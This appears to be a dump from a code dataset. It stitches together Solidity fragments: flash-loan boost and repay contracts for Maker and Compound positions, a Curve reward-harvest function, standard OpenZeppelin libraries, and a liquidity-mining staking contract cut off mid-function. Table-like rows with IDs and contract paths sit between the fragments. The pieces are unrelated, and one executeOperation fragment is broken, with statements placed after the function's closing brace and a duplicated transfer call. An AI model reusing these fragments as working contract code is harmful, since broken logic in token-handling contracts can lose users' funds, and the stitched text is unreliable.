uint cdpId;
uint gasCost;
uint loanAmount;
uint fee;
address joinAddr;
}
function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes calldata _params)
external override {
//check the contract has the specified balance
require(_amount <= getBalanceInternal(address(this), _reserve),
"Invalid balance for the contract");
(
bytes memory exDataBytes,
uint cdpId,
uint gasCost,
address joinAddr,
bool isRepay
)
= abi.decode(_params, (bytes,uint256,uint256,address,bool));
ExchangeData memory exchangeData = unpackExchangeData(exDataBytes);
SaverData memory saverData = SaverData({
cdpId: cdpId,
gasCost: gasCost,
loanAmount: _amount,
fee: _fee,
joinAddr: joinAddr
});
if (isRepay) {
repayWithLoan(exchangeData, saverData);
} else {
boostWithLoan(exchangeData, saverData);
}
transferFundsBackToPoolInternal(_reserve, _amount.add(_fee));
// if there is some eth left (0x fee), return it to user
if (address(this).balance > 0) {
tx.origin.transfer(address(this).balance);
}
}
function boostWithLoan(
ExchangeData memory _exchangeData,
SaverData memory _saverData
) internal {
address user = getOwner(manager, _saverData.cdpId);
// Draw users Dai
uint maxDebt = getMaxDebt(_saverData.cdpId, manager.ilks(_saverData.cdpId));
uint daiDrawn = drawDai(_saverData.cdpId, manager.ilks(_saverData.cdpId), maxDebt);
// Calc. fees
uint dsfFee = getFee((daiDrawn + _saverData.loanAmount), _saverData.gasCost, user);
uint afterFee = (daiDrawn + _saverData.loanAmount) - dsfFee;
// Swap
_exchangeData.srcAmount = afterFee;
(, uint swapedAmount) = _sell(_exchangeData);
// Return collateral
addCollateral(_saverData.cdpId, _saverData.joinAddr, swapedAmount);
// Draw Dai to repay the flash loan
drawDai(_saverData.cdpId, manager.ilks(_saverData.cdpId), (_saverData.loanAmount + _saverData.fee));
logger.Log(address(this), msg.sender, "MCDFlashBoost", abi.encode(_saverData.cdpId, owner, _exchangeData.srcAmount, swapedAmount));
}
function repayWithLoan(
ExchangeData memory _exchangeData,
SaverData memory _saverData
) internal {
address user = getOwner(manager, _saverData.cdpId);
bytes32 ilk = manager.ilks(_saverData.cdpId);
// Draw collateral
uint maxColl = getMaxCollateral(_saverData.cdpId, ilk, _saverData.joinAddr);
uint collDrawn = drawCollateral(_saverData.cdpId, _saverData.joinAddr, maxColl);
// Swap
_exchangeData.srcAmount = (_saverData.loanAmount + collDrawn);
(, uint swapedAmount) = _sell(_exchangeData);
uint paybackAmount = (swapedAmount - getFee(swapedAmount, _saverData.gasCost, user));
paybackAmount = limitLoanAmount(_saverData.cdpId, ilk, paybackAmount, user);
// Payback the debt
paybackDebt(_saverData.cdpId, ilk, paybackAmount, user);
// Draw collateral to repay the flash loan
drawCollateral(_saverData.cdpId, _saverData.joinAddr, (_saverData.loanAmount + _saverData.fee));
logger.Log(address(this), msg.sender, "MCDFlashRepay", abi.encode(_saverData.cdpId, owner, _exchangeData.srcAmount, swapedAmount));
}
/// @notice Handles that the amount is not bigger than cdp debt and not dust
function limitLoanAmount(uint _cdpId, bytes32 _ilk, uint _paybackAmount, address _owner) internal returns (uint256) {
uint debt = getAllDebt(address(vat), manager.urns(_cdpId), manager.urns(_cdpId), _ilk);
if (_paybackAmount > debt) {
ERC20(DAI_ADDRESS).transfer(_owner, (_paybackAmount - debt));
return debt;
}
uint debtLeft = debt - _paybackAmount;
(,,,, uint dust) = vat.ilks(_ilk);
dust = dust / 10**27;
// Less than dust value
if (debtLeft < dust) {
uint amountOverDust = (dust - debtLeft);
ERC20(DAI_ADDRESS).transfer(_owner, amountOverDust);
return (_paybackAmount - amountOverDust);
}
return _paybackAmount;
}
receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {}
}
contract CompoundFlashLoanTaker is CompoundSaverProxy, ProxyPermission, GasBurner {
ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
address payable public constant COMPOUND_SAVER_FLASH_LOAN = 0xCeB190A35D9D4804b9CE8d0CF79239f6949BfCcB;
/// @notice Repays the position with it's own fund or with FL if needed
/// @param _exData Exchange data
/// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress]
/// @param _gasCost Gas cost for specific transaction
function repayWithLoan(
ExchangeData memory _exData,
address[2] memory _cAddresses, // cCollAddress, cBorrowAddress
uint256 _gasCost
) public payable burnGas(25) {
uint maxColl = getMaxCollateral(_cAddresses[0], address(this));
if (_exData.srcAmount <= maxColl) {
repay(_exData, _cAddresses, _gasCost);
} else {
// 0x fee
COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value);
uint loanAmount = (_exData.srcAmount - maxColl);
bytes memory encoded = packExchangeData(_exData);
bytes memory paramsData = abi.encode(encoded, _cAddresses, _gasCost, true, address(this));
givePermission(COMPOUND_SAVER_FLASH_LOAN);
lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[0]), loanAmount, paramsData);
removePermission(COMPOUND_SAVER_FLASH_LOAN);
logger.Log(address(this), msg.sender, "CompoundFlashRepay", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[0]));
}
}
/// @notice Boosts the position with it's own fund or with FL if needed
/// @param _exData Exchange data
/// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress]
/// @param _gasCost Gas cost for specific transaction
function boostWithLoan(
ExchangeData memory _exData,
address[2] memory _cAddresses, // cCollAddress, cBorrowAddress
uint256 _gasCost
) public payable burnGas(20) {
uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this));
if (_exData.srcAmount <= maxBorrow) {
boost(_exData, _cAddresses, _gasCost);
} else {
// 0x fee
COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value);
uint loanAmount = (_exData.srcAmount - maxBorrow);
bytes memory paramsData = abi.encode(packExchangeData(_exData), _cAddresses, _gasCost, false, address(this));
givePermission(COMPOUND_SAVER_FLASH_LOAN);
lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[1]), loanAmount, paramsData);
removePermission(COMPOUND_SAVER_FLASH_LOAN);
logger.Log(address(this), msg.sender, "CompoundFlashBoost", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[1]));
}
}
}
| Format the call data for DSProxy Send Flash loan amount to DSProxy Execute the Close/Change debt operation Send extra to DSProxy | function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes calldata _params)
external override {
(ParamData memory paramData, ExchangeData memory exchangeData)
= packFunctionCall(_amount, _fee, _params);
address protocolAddr1 = shifterRegistry.getAddr(getNameByProtocol(paramData.protocol1));
address protocolAddr2 = shifterRegistry.getAddr(getNameByProtocol(paramData.protocol2));
sendToProxy(payable(paramData.proxy), _reserve, _amount);
DSProxyInterface(paramData.proxy).execute(protocolAddr1, paramData.proxyData1);
exchangeData.srcAmount = getBalance(exchangeData.srcAddr);
(, uint amount) = _sell(exchangeData);
sendToProxy(payable(paramData.proxy), exchangeData.destAddr, amount);
exchangeData.destAmount = (_amount + _fee);
_buy(exchangeData);
sendToProxy(payable(paramData.proxy), exchangeData.srcAddr, ERC20(exchangeData.srcAddr).balanceOf(address(this)));
sendToProxy(payable(paramData.proxy), exchangeData.srcAddr, getBalance(exchangeData.srcAddr));
}
DSProxyInterface(paramData.proxy).execute(protocolAddr2, paramData.proxyData2);
transferFundsBackToPoolInternal(_reserve, _amount.add(_fee));
| 7,335,988 |
./partial_match/3/0x4b583DFB8C7614eFdA8934205dC819B78782A72F/sources/CFController.sol | at least 24 hours to call this | function earnCRV() public{
require(block.number.safeSub(last_earn_block) >= earn_gap, "not long enough");
last_earn_block = block.number;
ICurvePool(current_pool).earn_crv();
uint256 amount = IERC20(crv_token).balanceOf(address(this));
emit EarnCRV(address(this), amount);
if(amount > 0){
require(crv_handler != CRVHandlerInterface(0x0), "invalid crv handler");
IERC20(crv_token).approve(address(crv_handler), amount);
crv_handler.handleCRV(target_token, amount);
}
if(extra_yield_token != address(0x0)){
amount = IERC20(extra_yield_token).balanceOf(address(this));
emit EarnExtra(address(this), extra_yield_token, amount);
if(amount > 0){
IERC20(extra_yield_token).approve(address(crv_handler), amount);
crv_handler.handleExtraToken(extra_yield_token, target_token, amount);
}
}
}
event CFFRefund(uint256 amount, uint256 fee);
| 5,179,741 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LiquidityMining is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 private constant DECIMALS = 18;
uint256 private constant UNITS = 10**DECIMALS;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
uint256 rewardDebtAtBlock; // the last block user stake
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 tokenPerBlock; // TOKENs to distribute per block.
uint256 lastRewardBlock; // Last block number that TOKEN distribution occurs.
uint256 accTokenPerShare; // Accumulated TOKENs per share, times 1e18 (UNITS).
}
IERC20 public immutable token;
address public tokenRewardsAddress;
// The block number when TOKEN mining starts.
uint256 public immutable START_BLOCK;
// Info of each pool.
PoolInfo[] public poolInfo;
// tokenToPoolId
mapping(address => uint256) public tokenToPoolId;
// Info of each user that stakes LP tokens. pid => user address => info
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
event Deposit(address indexed user, uint256 indexed poolId, uint256 amount);
event Withdraw(
address indexed user,
uint256 indexed poolId,
uint256 amount
);
event EmergencyWithdraw(
address indexed user,
uint256 indexed poolId,
uint256 amount
);
event SendTokenReward(
address indexed user,
uint256 indexed poolId,
uint256 amount
);
//set token sc, reward address and start block
constructor(
address _tokenAddress,
address _tokenRewardsAddress,
uint256 _startBlock
) public {
require(_tokenAddress != address(0),"error zero address");
require(_tokenRewardsAddress != address(0),"error zero address");
token = IERC20(_tokenAddress);
tokenRewardsAddress = _tokenRewardsAddress;
START_BLOCK = _startBlock;
}
/********************** PUBLIC ********************************/
// Add a new erc20 token to the pool. Can only be called by the owner.
function add(
uint256 _tokenPerBlock,
IERC20 _token,
bool _withUpdate
) external onlyOwner {
require(
tokenToPoolId[address(_token)] == 0,
"Token is already in pool"
);
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock =
block.number > START_BLOCK ? block.number : START_BLOCK;
tokenToPoolId[address(_token)] = poolInfo.length + 1;
poolInfo.push(
PoolInfo({
token: _token,
tokenPerBlock: _tokenPerBlock,
lastRewardBlock: lastRewardBlock,
accTokenPerShare: 0
})
);
}
// Update the given pool's TOKEN allocation point. Can only be called by the owner.
function set(
uint256 _poolId,
uint256 _tokenPerBlock,
bool _withUpdate
) external onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
poolInfo[_poolId].tokenPerBlock = _tokenPerBlock;
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 poolId = 0; poolId < length; ++poolId) {
updatePool(poolId);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _poolId) public {
PoolInfo storage pool = poolInfo[_poolId];
// Return if it's too early (if START_BLOCK is in the future probably)
if (block.number <= pool.lastRewardBlock) return;
// Retrieve amount of tokens held in contract
uint256 poolBalance = pool.token.balanceOf(address(this));
// If the contract holds no tokens at all, don't proceed.
if (poolBalance == 0) {
pool.lastRewardBlock = block.number;
return;
}
// Calculate the amount of TOKEN to send to the contract to pay out for this pool
uint256 rewards =
getPoolReward(pool.lastRewardBlock, block.number, pool.tokenPerBlock);
// Update the accumulated TOKENPerShare
pool.accTokenPerShare = pool.accTokenPerShare.add(
rewards.mul(UNITS).div(poolBalance)
);
// Update the last block
pool.lastRewardBlock = block.number;
}
// Get rewards for a specific amount of TOKENPerBlocks
function getPoolReward(
uint256 _from,
uint256 _to,
uint256 _tokenPerBlock
) public view returns (uint256 rewards) {
// Calculate number of blocks covered.
uint256 blockCount = _to.sub(_from);
// Get the amount of TOKEN for this pool
uint256 amount = blockCount.mul(_tokenPerBlock);
// Retrieve allowance and balance
uint256 allowedToken =
token.allowance(tokenRewardsAddress, address(this));
uint256 farmingBalance = token.balanceOf(tokenRewardsAddress);
// If the actual balance is less than the allowance, use the balance.
allowedToken = farmingBalance < allowedToken ? farmingBalance : allowedToken;
// If we reached the total amount allowed already, return the allowedToken
if (allowedToken < amount) {
rewards = allowedToken;
} else {
rewards = amount;
}
}
function claimReward(uint256 _poolId) external {
updatePool(_poolId);
_harvest(_poolId);
}
// Deposit LP tokens to TOKENStaking for TOKEN allocation.
function deposit(uint256 _poolId, uint256 _amount) external {
require(_amount > 0, "Amount cannot be 0");
PoolInfo storage pool = poolInfo[_poolId];
UserInfo storage user = userInfo[_poolId][msg.sender];
updatePool(_poolId);
_harvest(_poolId);
pool.token.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
// This is the very first deposit
if (user.amount == 0) {
user.rewardDebtAtBlock = block.number;
}
user.amount = user.amount.add(_amount);
